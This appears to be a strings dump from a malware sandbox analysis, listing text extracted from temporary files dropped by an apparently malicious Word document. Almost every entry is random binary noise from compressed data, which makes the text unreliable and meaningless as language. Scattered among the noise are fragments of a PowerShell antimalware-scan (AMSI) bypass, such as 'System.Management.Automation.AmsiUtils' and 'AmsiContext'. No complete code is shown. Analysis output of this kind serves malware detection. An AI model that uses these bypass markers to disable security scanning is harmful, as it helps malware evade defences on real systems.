&JuL'"?P27}IoF_/)w$)$ 0B#TJ? [H"v2#Qr/M}4[C{m$#2DF}

Ansi based on Dropped File (~WRD0001.tmp)

&l#QbnOc54Gt{!+4BqI]%)L3Hfm"Oo<,Yn\F=V=D

Ansi based on Dropped File (~WRD0001.tmp)

&m)8/;wh'j~/azhq1D7W{Kmawbk?=!^Xj?Nrud$aQJ(=XjT}p2E>k.&HTt1IItg114%2h/p_byO#m]WuNI@@5skUVZs(;8}iDol"Db^Y

Ansi based on Dropped File (~WRD0001.tmp)

&o!OSw0}ax)aIjrz"DQS'y}]w{+76Z%A 0P}2ap|+pxnBrUh5=.Z+

Ansi based on Dropped File (~WRD0001.tmp)

&O'f6hlSq(+wM.9@C['G_/9 ou/="_:IVhg;crGR]A]W(t>pg6|yG$Qlb?

Ansi based on Dropped File (~WRD0001.tmp)

&OYWuyn&2&W_7}%,TzcI_{

Ansi based on Dropped File (~WRD0001.tmp)

&pq}sU9p*k

Ansi based on Dropped File (~WRD0001.tmp)

&qe+$fM~Q-lG0cln{ZCNd#wI~.?LM3C<?m>e)?g{~`M>^yg\jgo'g6TYzJ[My+:~Om%nb{|~Zyp)n|ciED!W%zi1~z

Ansi based on Dropped File (~WRD0001.tmp)

&R(I\QB.wva~ZTG[ZjE#||S~t$

Ansi based on Dropped File (~WRD0001.tmp)

&R1GC4xg%{zLIjLrYu?&L|kf:MN

Ansi based on Dropped File (~WRD0001.tmp)

&racYVQ#/_Tr}5iel,)

Ansi based on Dropped File (~WRD0001.tmp)

&RezGH(C77v<O[Q+9-eHGU#aYV;p;l{7`x4+zrd+k>4k*<A|kMq>FjS~GnxYvA0itr{arT$^8`0

Ansi based on Dropped File (~WRD0001.tmp)

&sz%==:v3x >XaT5|ueV>Xjt=-*0r 0c=dEoREMoeA}B>+Uy[&gLV#MW1JMwg=_O&ET?PPa}!fiUkx>\l0F1c^X2b=c|1\~BxO5,8j1KP0~zNP11cA:a1cA:a1cA:a1cA:a1cA:a1cA:a1cA:a1cA:a1cA:n;6Bc1wk

Ansi based on Dropped File (~WRD0001.tmp)

&Txh}.c}8B3:+$|K)6mhG?z_@b#IVah+Sz=7VVDK!VI.#<k#

Ansi based on Dropped File (~WRD0001.tmp)

&u{Wv8F&%5LahoGL'7

Ansi based on Dropped File (~WRD0001.tmp)

&Wko#d>jZ]c 9fR<CV05Um1$~`-K&9

Ansi based on Dropped File (~WRD0001.tmp)

&Ytl6lE`V,ogaZr>M6MrYXbfY{|5e5H8JvOv>pl2oO$G.nw/t[W;j?#KEZKpRvpGx,b~eA0D/k(/[O?>}jqj/{n|3no

Ansi based on Dropped File (~WRD0001.tmp)

&Z70soXs#om&(JUG>TgMZ9O+>[7Ja/$>_HI&O^?a]u7bg=p>T P=e?p"~f(x23@Q$'Up^(

Ansi based on Dropped File (~WRD0001.tmp)

&|+`rL'2,j3O?8 #h $6I}aKP5`E{j*Ozu h@g1Y4,iA\?tyR1

Ansi based on Dropped File (~WRD0001.tmp)

&}j"A()P4h`):?((#=B@RDq@q#u&;wdkC/i@/bpp]

Ansi based on Dropped File (~WRD0001.tmp)

&~?w \QWyH}=<@>E5^ai%!(j)[@kf)z\CnglpG}z\gGR7u~Bz2#N'}Cqop{_ekOE#qofrCl3=u;fU:c1Y p7vblkk,<q

Ansi based on Dropped File (~WRD0001.tmp)

'"5556525QkFG[A`&h85AqZZ1b"Dc\tVMl8AQkm8@f1kW Q*XhY;Nk8Ra;mnq4\t)pqeGjtLTHAQza>YIhXX`0}jz-}iS;1\j0WSF7%0cjffJOu4k^rxY{<l):MW5m9B8(,gu&FU}uKth^cL=dU\BT*RLG1KTkJ6ElRO@SSt0.j}sURuq&Vy-.6tlA1dCh!==)"Vhv>'O_9{j`zy|w{(I/yw-*i$Dq@~EiHB

Ansi based on Dropped File (~WRD0001.tmp)

'$:tr.mF8rSpgAu&DVUAN'L&M(=*U$/~0S7

Ansi based on Dropped File (~WRD0001.tmp)

'$C(N)"gzM P3yxI'#bHpmVC}%

Ansi based on Dropped File (~WRD0001.tmp)

'(:"'#k^zx1q'$T5>!"h='iO@g

Ansi based on Dropped File (~WRD0001.tmp)

'+/q/#8&;!kr&9w^nG!YHdE7xNI`=+LB-Wo-WMPxx[+L">[<_,mxGhP_1+$$r

Ansi based on Dropped File (~WRD0001.tmp)

',%~"")+svdKQO*q0~e$S$+g3\UA

Ansi based on Dropped File (~WRD0001.tmp)

',w<>ss}fN~_2m>m)A

Ansi based on Dropped File (~WRD0001.tmp)

'/u+F"~*=O|[0|__2y}G^H0'>Ip,3nFpgX;Xod<` y@(PPr~]B

Ansi based on Dropped File (~WRD0001.tmp)

'00)|y!hG^y:1LQDzerfR`)zwBzR;]i(nJhQ(s-r"!&3t'hB"U7Zp&

Ansi based on Dropped File (~WRD0001.tmp)

'7OOzl?nlV7r]_!Glr?-?O#JnRWU0JaMrv(Imb'Z:/K~I^N5+D_o40AQ/`n?]-yPN9XU4E,el~H=SO^}lRq'9{ko-@PkGOh">MVB*&Ub-gAlBH6t

Ansi based on Dropped File (~WRD0001.tmp)

'8Fn8;zJa\,e#\d\<cLiiH[_j5`[/q-Tt3QiiLG|Ej_7},K>@7 S3+{H

Ansi based on Dropped File (~WRD0001.tmp)

'9VeQI8?9=(-,|[sQ'8i$e'-t0oIcGOjb|()LdOSDKC&QVY>RiXLEqhi~k~?DKrQ^=#syr6\n gAc?hVAlx`*

Ansi based on Dropped File (~WRD0001.tmp)

':S%;5cq.OgcgoNpwg]l:m1IME>ZxKn7Y[c9(bgm|u!H_3V|3V7(?c!1n":O\(v;""4^tGccqe-dJC[6y-IgJ1rMNd\#e@1_?q{6JV1qGB=-Pb,%?%sp~v{U>w~bl@'yz~m4]O*N`mk!Fc'owN,Bo1?M

Ansi based on Dropped File (~WRD0001.tmp)

'>#I5Q?ev\\x'X'0

Ansi based on Dropped File (~WRD0001.tmp)

'>1XO4]4g

Ansi based on Dropped File (~WRD0001.tmp)

'>Oq\1i50D5qsc,_0fr;L03zo_^SPVyjU+!Tal}YO?zxGSw<)(/uqWQ.S,ySUy{<pG^2vgx_v60'Q#%'*/+yu`J`

Ansi based on Dropped File (~WRD0001.tmp)

'?Ny*GWn\t0*.m?=o2r-kJR[cU&6,Y-ZQ Y)GIurM0|^O=OQj*!g,t&6"m#Yj-|36}k^&y^?C@KPWiQ"V_=O%lsVb@W_

Ansi based on Dropped File (~WRD0001.tmp)

'@(+cqV?~13/B4C':X0NcG&%<$kC^ku`_'$gPB{~lyl0Wn<HP7~miJoY#'<?x[qN\'7.{T/8

Ansi based on Dropped File (~WRD0001.tmp)

'[[Bu,$?%6K#4qO=6E8c:Fi[!o8,V1US@TLqqDGW-|JsX,3kwRxy2=YA=IcA+~B$p]8p|5Bhk9sC]]&>[[i76p%Se8aYKp%PbaV:df0A0&wP^(l_a=x[]GumyT53^AKr)mH9"?kS4x?eAP6#u30<)Vy.z/~j 0#)OPS$#EMx<:'.Ibfc8*1Q@_G]CCyJppb98~MibpipNMe@b,K(;/~E V2tltK_+6.YFbJ{ATx_=N}{g')7Mh60-EzE-#~/p/u[Y}_ic%-NtMar=5~.4Y"&j|^AqB

Ansi based on Dropped File (~WRD0001.tmp)

'[UyezFz-'I,*xP"foK2z!&nM>'aqB4

Ansi based on Dropped File (~WRD0001.tmp)

']g>AFW\A2n(esQWD6k3%Q,LU_E*Wi(Y.0S|UKbF;s9h]pZ{#JKPub"%=lsRc6by;k}y0ZRc/)(BsWO_f#ejyC4`\oB;Z{Y/]_~q3]iOrg<

Ansi based on Dropped File (~WRD0001.tmp)

'AmsiContext'

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

'apm5iM4`Ph).IhJ,V"3>9Dt`ri([Js/BE4;<=Y;-u4:ccQFa#ycRm2h`WnP:#7XTCem2CSY'x

Ansi based on Dropped File (~WRD0001.tmp)

'EBAJ2)lv.k^pC%:ymtfbf"Wp=!;:qr

Ansi based on Dropped File (~WRD0001.tmp)

'Ff~UWQ_=l

Ansi based on Dropped File (~WRD0001.tmp)

'G jY2X{1qLK"gg=]/&=~nu.~Z{o^$&?vIAAAA;(L{4L2Bg / 04O8E>/y!Lez?m=26YY,E1urvqewYF<

Ansi based on Dropped File (~WRD0001.tmp)

'G.W\j#;9p%ysld2BiY*`]XS=#e-+.}W

Ansi based on Dropped File (~WRD0001.tmp)

'G923)Bb] *di~ 8Q"R}Rhuj(1-^W/"d/"=<,dJmf#/2gVQ6BP@!6J7*BUdJ!,Mx@+"XVuq]i>l^s1Ug NB27+9')}Ue6~A~5}lWq8_9?=Px3[Q+7Ps|k0Vh

Ansi based on Dropped File (~WRD0001.tmp)

'Gd)9 8nGRyq]`:";wU+~zZAfgh#p,s,k9tIATp(,pDF~w||dD:E*TgdW+8-"yk3r%?fAB+itMziYhEbMP/n)f9wq`sKphzEl9qSXpbFGMnO0Dm;67h<2|wcDi`u,E'?;1*,Bh4Sg(Ky1|]|$P)Lg#w+Q-voG,#487]G&L]aU;33QDZ.WI!KX% hPLA=88<;KywV[8s$6/MX3vBJ=Q`k.x%7F_!6gs>KMP_1RHy:%"2J:?%v8~CQ..4O]KOW^xA'B VTmNauBi1U(pGxt.I!5j-vg AS+:tQ^$E)tx~Iu}8y~YRyRRhR4$7Rld^9!>gox"Kd}hp@\jU(0bj*'d$:?)

Ansi based on Dropped File (~WRD0001.tmp)

'h7=eQ]LS+'/.N'!6c:tW.^~/P7r*

Ansi based on Dropped File (~WRD0001.tmp)

'H{)e<_~KAA\yQX/4

Ansi based on Dropped File (~WRD0001.tmp)

'Iy|w=!ka%*_Ty:(m?mxe#B\B^-S&Y_?!{Q}~Stj;+ ].m18-xtn<]d1oNgwW.@^Jop6a&L=

Ansi based on Dropped File (~WRD0001.tmp)

'JARY|2O4U_o{W0['NRvd:x2U^fR8W:||F)R\/+rK&Zu$T ;z%\U2_kD&IiG>m^)_Dqr[I[sKI1YgHm<'%mH&TwE![n]'-6R`[<@+X:g?M\7wP8n:rme~zMf`+./g>.D9'4'(NQDga3KBg3eu.

Ansi based on Dropped File (~WRD0001.tmp)

'Lz=.Z75-0_u

Ansi based on Dropped File (~WRD0001.tmp)

'n-AB*OL.URwjM x"eV@':{Q>;G~,`Mvw+<;5@U/RSy<OK):?*TZ \"^fg]Xcp^

Ansi based on Dropped File (~WRD0001.tmp)

'pclR=i`"v%Y

Ansi based on Dropped File (~WRD0001.tmp)

'pvY&7~xENnYpF;.`&pb;)/M]8WtO>\;PA<--EPIX% ':%}{wAyw[NF!I#ETVW=]Pn<r|y$ag-P97{iiKHnyb5+1fkXt/Ltf[<X[8R3.;(:O+:<>aYD2|W)

Ansi based on Dropped File (~WRD0001.tmp)

'skC*Mm8FId4F #RS8/_a)u='c

Ansi based on Dropped File (~WRD0001.tmp)

's|_^7?(WzwDl4GpBPj\lq~H %V

Ansi based on Dropped File (~WRD0001.tmp)

'Y<-+b\?U&jkwqX>aysQXkZz?)fI~9Uy1`{2>-T^]upjn?//^9{6x,l=I7?_9/j~~nrta$gDvW?R]n'd6DS?19MN

Ansi based on Dropped File (~WRD0001.tmp)

'YGg?9I~mo@Z6W.W*C"}[o2Lu7gD~'I'((u_4DgYJ8I!k95PDphyLJ(,B(uAf.YG

Ansi based on Dropped File (~WRD0001.tmp)

'z]~*j[_K)z7eB?YIY5iN~w.4-<ecX47}Y]@<

Ansi based on Dropped File (~WRD0001.tmp)

'zz[koB,tP|$IWilC[P${i];Hg(L_;O%a&>:=zcuw1[NMi)Mz0x}jK(xXe4pA&{Fb<[oFQO

Ansi based on Dropped File (~WRD0001.tmp)

'ZZZ[[ [:[[[[[^N^V^h^p^r^_P_R_____DbZbbbdbfbbbcc\cccccLdNdPdRdddwph6uh&h&6h&6$jh&h&UmHnHsHuh&h$hhNhlY0JjUhlYh{oh4xqh7fhhPHh/h/h/hPHh&Jh>h>h>h,h6hv6h,6h,h,+System.Management.Automation.AmsiUtils'

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

'{`4U|Tuc3`aj8&OF`

Ansi based on Dropped File (~WRD0001.tmp)

(+@7`KO2Z=4?g(I-l_566a._9zETrO]cJk*lIKJ{5w#n>\P=>qdB.F}fVw*Nz

Ansi based on Dropped File (~WRD0001.tmp)

(, 0IL](YDE|{D8GyE1 /QX"(@~T!PhqZK:

Ansi based on Dropped File (~WRD0001.tmp)

(,.'tJ"4Ed:QOP|F*kXF{Q`+y80ZhLz;S@_gQC3$IS{}80zEZfq[PoPK!N_rels/.rels (JAa}7

Ansi based on Dropped File (~WRD0001.tmp)

(,l!n/LcK0~~%}4uhOn8SmYYo\oKm1d47i><6}Kcoa 4pO$.ZA_4=V5VNMs,gsqCR/#M%~Y.wT!5/^]u_w.

Ansi based on Dropped File (~WRD0001.tmp)

(/>6sEO)w$4zlo#iEM/1RBs.=I"NS)4'gK4efP#{y/qHDrX;]:U\Oy=3+{h1/-;SPhkt0w8wu'?g:B[s?Es+?Vo],7K"Gc{r#vN

Ansi based on Dropped File (~WRD0001.tmp)

(4"?f@\C56?H[_T:TCxKbhk~?B\T2sV__O[sRC#s]A]-;6Zy^b,q_\l|

Ansi based on Dropped File (~WRD0001.tmp)

(4"B.BO;>Pjv5_cs>D=\/>^$ep&+(//@eGjr|BZ0#

Ansi based on Dropped File (~WRD0001.tmp)

(4"B.B~VySFbgOUqK\V.cXOq,%RP}.,@O3)^q)#3#vD&RR

Ansi based on Dropped File (~WRD0001.tmp)

(4"B7c5yPB7Yg~hDs9/ucoy_u&?;${3:6DWb(i5#'8go'\W_awH({c'kb8++Y`pg,FI1n5rN1*(P*

Ansi based on Dropped File (~WRD0001.tmp)

(4"P+4C ]<&}|79/Q^|1P+V$Xpvv,/+#Gs^>eeOufVn=\'7-Z:p%8f2=+6q1Z+f:Kl.cuoz/

Ansi based on Dropped File (~WRD0001.tmp)

(4"PhyU_,\

Ansi based on Dropped File (~WRD0001.tmp)

(4"S85xjdo5;8>rl`c5;Xz

Ansi based on Dropped File (~WRD0001.tmp)

(4"S8Psl@Bs

Ansi based on Dropped File (~WRD0001.tmp)

(4YhZw|4B|&oKB+NU;

Ansi based on Dropped File (~WRD0001.tmp)

(5k'\'j"xm#H&e1aS/\sk'KMvCR8RQ6kf6

Ansi based on Dropped File (~WRD0001.tmp)

(?*zfVh; B4{)%^&&\cfLm23zS

Ansi based on Dropped File (~WRD0001.tmp)

(?H>[G(tN(t%,h.`\Y+i18b&t#h

Ansi based on Dropped File (~WRD0001.tmp)

(\sF(L;WB66QYw1#pEy8{xe+?j#-yzlwP5z[x`aE=*@2Cy:WTR8`h0g0+NQm1A|u2mKs(fKg:8ycP+Nhy:hV`'Y<84gO>3Y!jAp"nW7E+Gj9-{h>Q8|,mJWmZJ<e4;GjsrrxtpRnU^gw8zzIvvWWm}P5c'SW 8wg/^qk' 6hl3k

Ansi based on Dropped File (~WRD0001.tmp)

(]KXG<BIhhbl4To L`u6&^1v~aev\\4!VFA1}RG/c)

Ansi based on Dropped File (~WRD0001.tmp)

(ab7c>t@

Ansi based on Dropped File (~WRD0001.tmp)

(ESMUvz.dQW_=\/R79?@kxEbu|$~O/U_'lqd%q<QzCMh|WJW[ywNl7V[^b_Vj,Ge~$|?ZC[E{u

Ansi based on Dropped File (~WRD0001.tmp)

(GCXL>Z*\c-P-o=73fIPovlzZ}K~XYYMQuV1R@=nK3jc18Om@u\jS

Ansi based on Dropped File (~WRD0001.tmp)

(Get-Command).Name

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

(I ^F)OCNNjb/c?N_Ca{?gG(AyAQS6YNrSg>e}PSSCIu,ylq)4!]!~9d<'0:R><%xG-D}h9+M2VGiY,pvBbL_]yt{;<}ioT;f#Qi:]F)Xt63mM?

Ansi based on Dropped File (~WRD0001.tmp)

(i[}s4?7clMK:M?@[fY?*O,>''7.<:s.<fmY.UvO0mpO{F@Rs<*j/,qg~z<vb(yjgkUpz(N0|O-]jx=% ^/6w=7z? BLkNc|Lf9Q7M1x4QO0)&cTNLnkMmvwjzSJ\D$I~\8{,e_>.7f7%^_G61{H<w8.&t

Ansi based on Dropped File (~WRD0001.tmp)

(iBgT-D=F*aU{KKc,m_\?Yw-A62222?O}x=g|,w>y UF--}zNWcNk%cT%oP?{[zhc'ReJ+

Ansi based on Dropped File (~WRD0001.tmp)

(KWgsU\| .Bd`5

Ansi based on Dropped File (~WRD0001.tmp)

(NEiejSp1AkIC4BYR&w1;d*(3q\HL30F2o$;GlB(dToZgrg2h7M_MHzmOJ&EyV%Y^P]8<D~KI/Vf].F_#jtu&

Ansi based on Dropped File (~WRD0001.tmp)

(nJMPK!&.Fword/endnotes.xmlUMs w&ANvr8 YL_BN+'^$oeWIL@I

Ansi based on Dropped File (~WRD0001.tmp)

(O-SXGD """b(+lw6v

Ansi based on Dropped File (~WRD0001.tmp)

(o5Le`ikTP!|,~t]Cy~S~M`;>O~"?l6YvhcG)5<My6zyfY~3#n6

Ansi based on Dropped File (~WRD0001.tmp)

(o`h$?!3

Ansi based on Dropped File (~WRD0001.tmp)

(P[1=R]W0K<1xzx!xSzD,5h

Ansi based on Dropped File (~WRD0001.tmp)

(QPD+*"`(***&DPrEqqidb8]S]uT{?

Ansi based on Dropped File (~WRD0001.tmp)

(s=~pztCY0EHfoHqKgQjNP?\?rx^_J&>

Ansi based on Dropped File (~WRD0001.tmp)

(spZ AAL@C

Ansi based on Dropped File (~WRD0001.tmp)

(u)?424B;oWP68>dn<|gG!OGO7~iy[Ti

Ansi based on Dropped File (~WRD0001.tmp)

(Unfd4*<a^EQnrB(H|I_Kratu\dah!<-=dO2yYdmho?<| Zf><)!7rNgb8zGIv[k%&{]Tg

Ansi based on Dropped File (~WRD0001.tmp)

(u}_tWUUWXePn;/S/9S_zV~w4mhGe3EzonVuMo:Dwm

Ansi based on Dropped File (~WRD0001.tmp)

(vipG-d^SMO_-

Ansi based on Dropped File (~WRD0001.tmp)

(YWV|B;rMr$&3E!{Y4y9qQx"ZjaqI4"QisD4+tx?qT,LLEVPi<Z~8G5K_j$}:QO~]H4+NS=f_aUaBII!W6,>E$

Ansi based on Dropped File (~WRD0001.tmp)

(zHGX+;7t{-goz9=y@g/g{VQJ+<h^Pp@P<v-UnQwWkO[wt5&>-,nI^*tTv''RmCfG'o'VVO?+)Mevm%z]JWjV^VgP`W#+jAFm+t'Oj0Z]gMl|E

Ansi based on Dropped File (~WRD0001.tmp)

(zt<9wxU{w`0qTw2CeMk[@5qWf}+=l:t|d0_wn[

Ansi based on Dropped File (~WRD0001.tmp)

(|%dWIk,f

Ansi based on Dropped File (~WRD0001.tmp)

(|4k^^~sE3H

Ansi based on Dropped File (~WRD0001.tmp)

)%Jhh>Z$?+xb*n>"v-SR/WBo;!1Bc|Fko/S{>)

Ansi based on Dropped File (~WRD0001.tmp)

)%rk_PV,Ihcm't;osy|,=HBP]/Q72P9Rg6[QO}46k{H4QN|7--cv+\a.!U_Iq@c&<c-?u]5E6&csgvREie|dakhhYiGG~ i1

Ansi based on Dropped File (~WRD0001.tmp)

)(GDPZAHr,g|slZJi|q&G#8EB}3wN

Ansi based on Dropped File (~WRD0001.tmp)

)**|'o@}nX1`%7Y;LPo

Ansi based on Dropped File (~WRD0001.tmp)

)/S|`y(N+\Pj#Jp'@)%Wik'b{q~>3+Qy/$><m{gv<y=a+y9d?7!V]

Ansi based on Dropped File (~WRD0001.tmp)

)/{VFe.,Q_" gdH?yichP-iMGN%=hB)]xe?SN#=gs55Qa#8&uY5H3^GXP_6lXyc7l;oO"`Y;y/;YFFFFFFF@/9^t+5(voNP4gt]*5k)M#5V[] -3sZ$VWDV"5Y}cOM1c9+)-#Bz*l)3g:s,XcWgm0QAtl&[OwiKD l{33M"&:

Ansi based on Dropped File (~WRD0001.tmp)

)4 AIx`"9p0'd!T`+1=`6t%x)?""2[Ka,<heU[Eg4d

Ansi based on Dropped File (~WRD0001.tmp)

)6!qsR?0v@CwP&KfzAlK*S \fFqC

Ansi based on Dropped File (~WRD0001.tmp)

)7"""b(rHS#I&GH&J:>"Wc'>8w/%.LLL6@sa@PQtWLiGe+S$%L#sgz[ZL)L-Dt)(@,}Emt>6V?5vIyPwu_:~2)^!yR}XDDDxIiesj3NK;)=J#""Fkd\6eC*-sYkUg{q:|e#UjjMkjC{c,o[Y>wXH()kw0?4x%7"""9W[95]mYG-\cr0vz!OqTb6?w=1xalSDD5j3P;AkqbKEbM8oS:!

Ansi based on Dropped File (~WRD0001.tmp)

)7Ix]\85+mhCz@.o90Kno=a^sz_Mt0HbO

Ansi based on Dropped File (~WRD0001.tmp)

)9PjBL9;\C

Ansi based on Dropped File (~WRD0001.tmp)

)<dK~'Hj

Ansi based on Dropped File (~WRD0001.tmp)

)>?p`/{|>({`yFxxMbSMZ=B%#9ol.MT:9H7_>6)qQ2q?~Mnc}KrV$F{,/z.:[T[{7Ba/RRQ8%oQs<.;'IqgWiN^k!5^F)N{E?7~@Q'HKps)&'^^&k6iHtY)9EN4OsOZZ|_,$t]y[x`~%:)I~x-zvS)S25yQ!"Hwm{x|/>z*`pyQ$j/bnt)zZ7}>)Y>VKx{3o]w?t}ti8lG5_IzV~D^i-;bcY$J|`xg_)~@QGo&oVn%)9Oc+}#9%)

Ansi based on Dropped File (~WRD0001.tmp)

)?2)Q>1;V,mB%THOS2H|>1PgiON

Ansi based on Dropped File (~WRD0001.tmp)

)@.rFgcif4"N2d= <Im_

Ansi based on Dropped File (~WRD0001.tmp)

)]R=`}!2&C@'bGy:97v~-{{`71,3d*zXNX<>@)sKBHU..cd@s*Y:]bPt98`N\R3b-o|R"U.R

Ansi based on Dropped File (~WRD0001.tmp)

)^~e2,$D18NEI4\*T|K4O?8+N!>|dbOWxRX@<YCpO9{[,B+Drw/UmVIFWb Xa{7XJiEL#:cl%>t@

Ansi based on Dropped File (~WRD0001.tmp)

)A&U-a|h\tJ\Vck?fqXigF5I!o?aQ

Ansi based on Dropped File (~WRD0001.tmp)

)Ak;||'5rgvND-]@>

Ansi based on Dropped File (~WRD0001.tmp)

)By23KafUQ5=1p#o9O`KNJYV19lDNk\*Qae0gl4{T<<B8

Ansi based on Dropped File (~WRD0001.tmp)

)Df*\e$TvTn<s65!UTzb'etTyaPz3w^?Ri_Mhh4bK^,?c"n`RhCqbtb4'M75Lm?n|a29~v"yXDfK>c5^B,@vu`Mv C}(Cywq

Ansi based on Dropped File (~WRD0001.tmp)

)Dq,gLQr5Hp~V^uhze 5{o n7}:!g9$43_xz{?|jm_uzW[7]CS u7p~&~zVNofw_Q1.RtnH_+|c0DT_v(rOHw>MlY~`{|

Ansi based on Dropped File (~WRD0001.tmp)

)H9UQ1h%Gs8y|3*}J^Ms[^vt<'X;f&^

Ansi based on Dropped File (~WRD0001.tmp)

)l_TA^<$Ur 57|s?D.79kXy-z}Rv@\(Tt=jDOrLFF`Y}(RbpOy.9xyr\b9n,X^TJ'7X4A9B`/V[JZCrzU7*ddY!gp

Ansi based on Dropped File (~WRD0001.tmp)

)ls{ac72Vzn>&@trRFb$o7lydfh|z<S_S>!<L|EFT,b+q|)3kmJ`rs^4nuojsO'O7?f@XFmyAIlZK>[XC?Yjqn'%[/|CKi^d,

Ansi based on Dropped File (~WRD0001.tmp)

)Lu2{LN#SL(N-qA4ZFKx8qYy'Hs"bZf&LM]D]Kwf7He1@ewq?u[98ik]e V>fE*iygq'gAQ)zzM"do=DStz]bY|CFO\1<%=WOcSX"

Ansi based on Dropped File (~WRD0001.tmp)

)Lu}o)U_T

Ansi based on Dropped File (~WRD0001.tmp)

)p(J7oIat9];pK

Ansi based on Dropped File (~WRD0001.tmp)

)QdT,wa(r.'}a$,apEfDKbto@V$}\wka"

Ansi based on Dropped File (~WRD0001.tmp)

)qQtHHKia4G.3\/=&1Pmk80'z+:,Ke;z[L2E{Zo=40dL<aYz,hzSk$ **{^dddd~cCx<Ot[odCe>$9BztgB8eJ7GKD`K@0{Hsh+99J[2oT'_!)j>CDn?MTH'}>&#"hqO_w63(yOo(~'v&#&d^L##+"fgV^Lm^diG5Ed8DHKdU0oVOJc3}E$_>BwMv.

Ansi based on Dropped File (~WRD0001.tmp)

)R!z?Z}8IsSb!g?Ta^[%n^<0*+p==}C3j 5&O*

Ansi based on Dropped File (~WRD0001.tmp)

)RO*sCO0X%j71Te>A:|.16'?W!W0t#hvn.[[_dmqE'-s6D`Z_{Son5X!!! c1c01 \XK/,^%Gi3&B'|dARt0, &b"0\'$b0J']c,"Lugg][&uCLb}a.I9A4c,]E.si1VK-9:4hCB4kBo>[I|;F:`(@p|o@n40Yn:E]K/,^zKx

Ansi based on Dropped File (~WRD0001.tmp)

)sz<$C,]q&MHXM0q'F &dn*&M1e&47!es&9iFdq&Pg){}S!!`Rq,$_uU"tnBdb4+fN#~Jlsk8{b:2!(mFvE0J0gh9`^39`.TT`)lz0R,=&4`6cw0K7/`29,%

Ansi based on Dropped File (~WRD0001.tmp)

)t1)?\Z^e#<L/.gjc8{V-u"QMBh?OuYN

Ansi based on Dropped File (~WRD0001.tmp)

)U,mI Xi,X0O?Nog4cKMDC7k|2'r)<cm7I^xe[EKXBnRPPPPPPPPPy`vdnWuyyy/HP0VzBeW3%/L_3izI$wWCh((((((((((w.+J%R]H[}_oYc+Y~WPPPPPPPPP6b$!

Ansi based on Dropped File (~WRD0001.tmp)

)w/o*L>Vu>IgoC^:$WRcxOu<=|dC_~0y_drV/iP2as{6(r@}G}|/Hna'!)+l|}r3^$mbI3S6yK)MMzT}LO>QkrW1D{*B$~'_No>4W3zyJ:odL+

Ansi based on Dropped File (~WRD0001.tmp)

)x#s[,M rAF(]%r$PqAe

Ansi based on Dropped File (~WRD0001.tmp)

)xlz3dq8_BYJ7

Ansi based on Dropped File (~WRD0001.tmp)

){T@fL.<m[!=iLxBJ+J8ZxQdvH|"Z-7)}6F4WxI@F){(;ZP*

Ansi based on Dropped File (~WRD0001.tmp)

*$O=th'OtJLsO/6CF{F1${ih}k",HKfXOC&>6.]Yj=Je8IxK

Ansi based on Dropped File (~WRD0001.tmp)

*)uq8f;XX70+aq_n|edI:c*MkcxHd+=:D[l~y`\\~`#0$QB$g<L%rD

Ansi based on Dropped File (~WRD0001.tmp)

**$jfj*AAUA%VV\DDu

Ansi based on Dropped File (~WRD0001.tmp)

**_?]_&iNQ]q/^kUn

Ansi based on Dropped File (~WRD0001.tmp)

*+YkmR7eMJhvJG0hMmgL% `f+3M7J9deQ:l[V5;zfGyf!5Aoei}4dfQO

Ansi based on Dropped File (~WRD0001.tmp)

*,k}r#YW{8D^aBE3GhUp",'bcBEO}p~27`fweGxL"[NJrklJ8rW;zcz/]4;>-7qs/]E2~B+x/Nq=?nOz[tgJ!>\G_>o[curo}hJmABLZ_r$[oB2FnZ&JJ@el% |;7xrzA7P-:evu~jk,/pnF {3>X,=!5]+EiO~W-xG_M0jmAm7b.J

Ansi based on Dropped File (~WRD0001.tmp)

*-a`"^>!J

Ansi based on Dropped File (~WRD0001.tmp)

*4)z.C ,$sKCa#<4$ZV!IF-Z-z@ Eu&`G#%#$x$c<y>o6RoW[cK}?oIP@P|J>j(*

Ansi based on Dropped File (~WRD0001.tmp)

*5"+FCnWiR>HN

Ansi based on Dropped File (~WRD0001.tmp)

*5I%^}Y:Sj&ftG

Ansi based on Dropped File (~WRD0001.tmp)

*8+D"Oa/[X1#c

Ansi based on Dropped File (~WRD0001.tmp)

*9HqBf?Pp**:h31`OjjXRaB _

Ansi based on Dropped File (~WRD0001.tmp)

*>`nCK<+|lhW9\4RH9U2h9-6]x@c,pB*$=wMdz4`jz0"ce-`3K];>l~3FLnifwD*(BR

Ansi based on Dropped File (~WRD0001.tmp)

*>a]v-P*Gf/%ha2b,=932\+`S

Ansi based on Dropped File (~WRD0001.tmp)

*?f?.(}j6'!nKZ+D"G;88}m7F)4gF].m']b7uH3vF0Koca_hBzm~vT">,,om."Na!0wZH8_&ok53+j.Ab

Ansi based on Dropped File (~WRD0001.tmp)

*?~V9C}:Yj2%E}/^)gVh>#IzA?K5}r@HpTtg4|+I[z-X}S/}uZTD:V'j|W:8JPbxL8:'y>"_B'}r{6A_<*SPo=O"-DhodCi&umC+{9v)S^>c_W<^R&y7 %IWSO,M`@%uq'L|u7Iodn);xX)Lu{at~{6Z:*yQ|+;<lue}/yb^#.~UH>X KCbDc8yC/I=0

Ansi based on Dropped File (~WRD0001.tmp)

*[-xE%'N;\\&tEj>zsdKx,Tx,26ZK87jl! ^B?badk,-d5+T3X/bVDpSzV[`(pXbg

Ansi based on Dropped File (~WRD0001.tmp)

*[=S>QnM`fB]Sm~:l4K

Ansi based on Dropped File (~WRD0001.tmp)

*\/]?o?$?w~]T@A`J]ERl=<7> =Hxf#7UZr{BU73J]*.,:Ff6h4OB=TOJlJK+

Ansi based on Dropped File (~WRD0001.tmp)

*A]/^A^B8nwkC~Co#t?>SNT'4CEk

Ansi based on Dropped File (~WRD0001.tmp)

*B.nY>t]_b3X_9MiAlR2MU,M7p[,8t~ocOsptkM6:T=JJga&B.!:}?:k5Q%!s}c8sOHbZNT

Ansi based on Dropped File (~WRD0001.tmp)

*cNWw#F$7~dcT/a#G[5j1t8.X`}[r?o<D$}M03g6l=p__sMsEnMxf`Vw9)S,\+p?Z_

Ansi based on Dropped File (~WRD0001.tmp)

*fbD;TEh?b>x;@ DG.B!O#N@ar5y)I)bYg!?!~.OSpHn (o:i^;OT-H-$$%~B$#QW\@/b

Ansi based on Dropped File (~WRD0001.tmp)

